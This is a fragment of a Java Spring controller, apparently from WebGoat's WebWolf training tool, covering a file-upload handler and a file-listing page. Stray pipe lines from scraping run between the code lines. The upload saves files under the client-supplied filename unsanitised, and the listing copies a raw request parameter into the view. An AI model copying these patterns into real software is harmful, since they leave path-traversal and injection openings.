File destinationDir = new File(fileLocatation, user.getUsername());
|
||||||
|
destinationDir.mkdirs();
|
||||||
|
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
||||||
|
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
||||||
|
Files.touch(new File(destinationDir, user.getUsername() + "_changed"));
|
||||||
|
|
||||||
|
ModelMap model = new ModelMap();
|
||||||
|
model.addAttribute("uploadSuccess", "File uploaded successful");
|
||||||
|
return new ModelAndView(
|
||||||
|
new RedirectView("files", true),
|
||||||
|
model
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Getter
|
||||||
|
private class UploadedFile {
|
||||||
|
private final String name;
|
||||||
|
private final String size;
|
||||||
|
private final String link;
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping(value = "/WebWolf/files")
|
||||||
|
public ModelAndView getFiles(HttpServletRequest request) {
|
||||||
|
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
|
String username = user.getUsername();
|
||||||
|
File destinationDir = new File(fileLocatation, username);
|
||||||
|
|
||||||
|
ModelAndView modelAndView = new ModelAndView();
|
||||||
|
modelAndView.setViewName("files");
|
||||||
|
File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed");
|
||||||
|
if (changeIndicatorFile.exists()) {
|
||||||
|
modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess"));
|
||||||
|
}
|
||||||
|
changeIndicatorFile.delete();
|
||||||
|
|
||||||
|
List<UploadedFile> uploadedFiles = Lists.newArrayList();
|
||||||
|
File[] files = destinationDir.listFiles(File::isFile);
|
||||||
|
if (files != null) {
|
||||||
|
for (File file : files) {
|
||||||
|
String size = FileUtils.byteCountToDisplaySize(file.length());
|
||||||
|
String link = String.format("files/%s/%s", username, file.getName());
|
||||||
|
uploadedFiles.add(new UploadedFile(file.getName(), size, link));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
modelAndView.addObject("files", uploadedFiles);
|
||||||
|
return modelAndView;
|
||||||
|
}
|
||||||
|
}
|